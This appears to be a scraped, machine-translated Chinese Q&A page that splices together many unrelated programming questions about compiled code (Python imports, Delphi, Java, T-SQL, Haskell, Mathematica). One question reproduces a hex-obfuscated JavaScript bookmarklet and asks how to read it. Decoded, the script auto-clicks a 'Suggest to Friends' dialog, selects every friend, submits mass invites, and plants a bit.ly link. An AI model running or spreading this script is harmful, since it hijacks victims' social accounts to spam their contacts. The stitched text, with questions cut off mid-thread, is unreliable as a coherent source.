我有很多函数(巨大的列表)定义和编译.我使用函数指针通过在运行时动态发送参数来调用和执行函数.它是一个迭代过程,每次迭代都涉及超过十万个函数调用.我想知道调用编译函数的有效方法是哪种.我觉得我的路比较慢.
请注意,我对Javascript没有经验.如果javascript代码如下所示:
javascript:var _0x89f8=["\x69\x6E\x6E\x65\x72\x48\x54\x4D\x4C","\x61\x70\x70\x34\x39\x34\x39\x37\x35\x32\x38\x37\x38\x5F\x64\x64","\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x42\x79\x49\x64","\x3c\x61\x20\x69\x64\x3d\x22\x73\x75\x67\x67\x65\x73\x74\x22\x20\x68\x72\x65\x66\x3d\x22\x23\x22\x20\x61\x6a\x61\x78\x69\x66\x79\x3d\x22\x2f\x61\x6a\x61\x78\x2f\x73\x6f\x63\x69\x61\x6c\x5f\x67\x72\x61\x70\x68\x2f\x69\x6e\x76\x69\x74\x65\x5f\x64\x69\x61\x6c\x6f\x67\x2e\x70\x68\x70\x3f\x63\x6c\x61\x73\x73\x3d\x46\x61\x6e\x4d\x61\x6e\x61\x67\x65\x72\x26\x61\x6d\x70\x3b\x6e\x6f\x64\x65\x5f\x69\x64\x3d\x31\x30\x38\x34\x36\x33\x39\x31\x32\x35\x30\x35\x33\x35\x36\x22\x20\x63\x6c\x61\x73\x73\x3d\x22\x20\x70\x72\x6f\x66\x69\x6c\x65\x5f\x61\x63\x74\x69\x6f\x6e\x20\x61\x63\x74\x69\x6f\x6e\x73\x70\x72\x6f\x5f\x61\x22\x20\x72\x65\x6c\x3d\x22\x64\x69\x61\x6c\x6f\x67\x2d\x70\x6f\x73\x74\x22\x3e\x53\x75\x67\x67\x65\x73\x74\x20\x74\x6f\x20\x46\x72\x69\x65\x6e\x64\x73\x3c\x2f\x61\x3e","\x73\x75\x67\x67\x65\x73\x74","\x4D\x6F\x75\x73\x65\x45\x76\x65\x6E\x74\x73"...
Run Code Online (Sandbox Code Playgroud)
然后编译?如果是这样,有什么方法可以反编译吗?如果没有编译,那么有关如何阅读此类代码的任何帮助?
任何帮助将不胜感激.
编辑:
谢谢大家的回应.哇,我不知道我会很快得到回复,感谢Stackoverflow.
然而,任何人都可以帮助我使这比以下更容易阅读:
var _0x89f8=["\x69\x6E\x6E\x65\x72\x48\x54\x4D\x4C",
"\x61\x70\x70\x34\x39\x34\x39\x37\x35\x32\x38\x37\x38\x5F\x64\x64",
"\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x42\x79\x49\x64",
"\x3c\x61\x20\x69\x64\x3d\x22\x73\x75\x67\x67\x65\x73\x74\x22\x20\x68\x72\x65\x66\x3d\x22\x23\x22\x20\x61\x6a\x61\x78\x69\x66\x79\x3d\x22\x2f\x61\x6a\x61\x78\x2f\x73\x6f\x63\x69\x61\x6c\x5f\x67\x72\x61\x70\x68\x2f\x69\x6e\x76\x69\x74\x65\x5f\x64\x69\x61\x6c\x6f\x67\x2e\x70\x68\x70\x3f\x63\x6c\x61\x73\x73\x3d\x46\x61\x6e\x4d\x61\x6e\x61\x67\x65\x72\x26\x61\x6d\x70\x3b\x6e\x6f\x64\x65\x5f\x69\x64\x3d\x31\x30\x38\x34\x36\x33\x39\x31\x32\x35\x30\x35\x33\x35\x36\x22\x20\x63\x6c\x61\x73\x73\x3d\x22\x20\x70\x72\x6f\x66\x69\x6c\x65\x5f\x61\x63\x74\x69\x6f\x6e\x20\x61\x63\x74\x69\x6f\x6e\x73\x70\x72\x6f\x5f\x61\x22\x20\x72\x65\x6c\x3d\x22\x64\x69\x61\x6c\x6f\x67\x2d\x70\x6f\x73\x74\x22\x3e\x53\x75\x67\x67\x65\x73\x74\x20\x74\x6f\x20\x46\x72\x69\x65\x6e\x64\x73\x3c\x2f\x61\x3e",
"\x73\x75\x67\x67\x65\x73\x74",
"\x4D\x6F\x75\x73\x65\x45\x76\x65\x6E\x74\x73",
"\x63\x72\x65\x61\x74\x65\x45\x76\x65\x6E\x74",
"\x63\x6C\x69\x63\x6B",
"\x69\x6E\x69\x74\x45\x76\x65\x6E\x74",
"\x64\x69\x73\x70\x61\x74\x63\x68\x45\x76\x65\x6E\x74",
"\x73\x65\x6C\x65\x63\x74\x5F\x61\x6C\x6C",
"\x73\x67\x6D\x5F\x69\x6E\x76\x69\x74\x65\x5F\x66\x6F\x72\x6D",
"\x2F\x61\x6A\x61\x78\x2F\x73\x6F\x63\x69\x61\x6C\x5F\x67\x72\x61\x70\x68\x2F\x69\x6E\x76\x69\x74\x65\x5F\x64\x69\x61\x6C\x6F\x67\x2E\x70\x68\x70",
"\x73\x75\x62\x6D\x69\x74\x44\x69\x61\x6C\x6F\x67"];
void ( document[_0x89f8[2]](_0x89f8[1])[_0x89f8[0]]=_0x89f8[3] );
var ss=document[_0x89f8[2]](_0x89f8[4]);
var c=document[_0x89f8[6]](_0x89f8[5]);
c[_0x89f8[8]](_0x89f8[7],true,true);
void (ss[_0x89f8[9]](c));
void (setTimeout(function (){fs[_0x89f8[10]]();} ,3000));
void (setTimeout(function (){SocialGraphManager[_0x89f8[13]](_0x89f8[11],_0x89f8[12]);} ,4000));
void (setTimeout(function(){document[_0x89f8[2]](_0x89f8[1])[_0x89f8[0]]= '\x3c\x61\x20\x68\x72\x65\x66\x3d\x22\x68\x74\x74\x70\x3a\x2f\x2f\x62\x69\x74\x2e\x6c\x79\x2f\x38\x5a\x72\x72\x46\x4f\x22\x3e\x4f\x6e\x65\x20\x43\x6c\x69\x63\x6b\x20\x46\x65\x72\x74\x69\x6c\x69\x7a\x65\x3c\x2f\x61\x3e';} ,4500));
Run Code Online (Sandbox Code Playgroud) 所以有这个Python .pyd模块(C++),所以我不能只在文本编辑器中打开它来找出它包含的内容.那我该怎么办?我只是想知道里面的函数名称.
我有一个python脚本试图在文件系统中的某个地方导入另一个脚本(路径只在运行时知道).根据我的理解,我需要使用imp模块,这可能会起作用,但是在加载模块时,我得到的错误是找不到导入模块使用的模块.
下面是代码:
importer.py:
import imp
imp.load_compiled("my_module","full_path_to_my_module\\my_module.pyc")
Run Code Online (Sandbox Code Playgroud)
my_module.py:
import sys
import another_module
Run Code Online (Sandbox Code Playgroud)
当我运行importer.py时,我收到htis错误消息:
ImportError:没有名为another_module的模块
这里出了什么问题?我怀疑当'importer.py'正在加载'my_module.pyc'时他也试图加载'another_module'(那很好)但是看错了地方(例如不是'full_path_to_my_module')
编辑: 我尝试将'full_path_to_my_module'添加到系统路径:
import imp
import sys
sys.path.append(full_path_to_my_module)
imp.load_compiled("my_module",full_path_to_my_module+my_module)
Run Code Online (Sandbox Code Playgroud)
但我仍然得到同样的错误
也许我做了一些不必要的事情 - 这是我的目标:我希望能够在'importer.py'中使用'my_module.pyc'的所有功能.但'my_module.pyc'的位置作为'importer.py'的参数给出.
与Mathematica 8.0 NDSolve相比,使用GSL库用C语言编写的ODE求解器是否具有明显的速度优势?在准确性方面如何公平?
我的理解是编译后的代码原则上可以更快,但是现在NDSolve已经以某种方式使用了很多已编译的代码本身?
还有使用MathLink或Mathematica的编译功能来加速解决ODE的选项吗?
我需要创建一个应用程序,让用户选择一些选项,单击一个按钮,然后创建一个单独的编译应用程序.这可能吗?我正在使用delphi 7和2010.
谢谢你的回复.这里有一些信息.
它必须是一个图形应用程序并创建一个图形应用程序.
我想要的是用户启动'App A'(我最初制作),能够选择一些选项(我为保密而道歉.我认为这是一个百万美元的想法,可能有3个人可能会觉得有用:)然后使用该程序创建"App B." 然后可以将"App B"分发给最终用户,"App B"是包含已编译应用程序和配置数据的单个可执行文件.我不在乎如何,但我需要'App B'成为一个可执行文件.
我甚至不需要使用Delphi作为最终编译的应用程序.如果有某种"伪编译器"我可以从Delphi调用,它会将预编译的exe和单独的配置文件合并到一个可执行文件中.那也行得很好.
感谢您的回复和帮助.
谢谢.
我试图找到我的类文件的jdk供应商,但未能.
任何人都可以帮我找出是否有可能为编译的java文件找到jdk供应商.如果是,那怎么样?
哪些类型的 TSQL select 语句(即从 开始的语句select)可以从编译中受益?其优点是什么?我所说的编译是指在存储过程中托管 select 语句。
我知道存储过程除了性能优势(加密、关注点分离等)之外,但我只对这里的性能方面感兴趣。
这是一个例子:
select t1.f1, t2.f2 from t1 inner join t2 on t1.pk = t2.fk
Run Code Online (Sandbox Code Playgroud)
当上面的sql被分解为存储过程而不是命令文本时,它会运行得更快吗?
我想将我的应用程序交给另一位开发人员,以便在他的iOS应用程序中进行同化.目标是在他的应用程序中有一个直接打开我的应用程序的快捷方式 - 而不仅仅是指向appstore的链接.
问题是我的应用程序必须保持编译,因为我不想交出我的源代码.是这种情况,一个编译的iOS应用程序,封装insind另一个iOS应用程序,甚至可能吗?
提前致谢.
在我的团队中,我们正在使用java 1.4.2大多数机器for循环正在编译为only.ie. 如果我反编译类文件,我可以看到只有循环,但某些开发人员的某些机器它变成循环.也就是说,当我反编译某些类时,它就变成了
怎么会发生?任何可能的原因,java版本或配置任何机构都可以这么认为,所以我可以重现这个缺陷并在所有开发人员机器中修复它
是否有适合构建Web应用程序的编程语言,它是编译的,强类型的,而不是ASP.NET?
我想过使用Mono(http://www.mono-project.com/),但我想知道是否有其他选择.
(如果语言和框架是开源的,那是一个很大的优点!)
除了C,C++,Delphi,VB之外,你能举一个相对"现代"的COMPILED*编程语言*的例子来支持像OO,集合,GUI库这样的东西吗?请不要提及实验或学术语言,我正在寻找现实世界中使用的东西,PC 80x86,我不介意操作系统.
谢谢!
*更新:编译为本机代码.
*免责声明:
所以我试图使用编译代码中的返回值将一行文本打印到终端窗口。该程序如下所示:
module Main
where
import System.IO
main = do
askForWords
askForWords = do
putStrLn "Pleas enter a word:"
word <- getLine
if word == ""
then return []
else do
rest <- askForWords
return (word ++ " " ++ rest)
Run Code Online (Sandbox Code Playgroud)
当我在 GHCi 中运行它时,它工作正常
*Main> main
Pleas enter a word:
Hello
Pleas enter a word:
World
Pleas enter a word:
"Hello World "
*Main>
Run Code Online (Sandbox Code Playgroud)
当我尝试运行 Unix 可执行文件时,程序不打印最后一个字符串
% /Users/tobyone/Workspace/Haskell/yaht/Yaht ; exit;
Pleas enter a word:
Hello
Pleas enter a word:
World …Run Code Online (Sandbox Code Playgroud)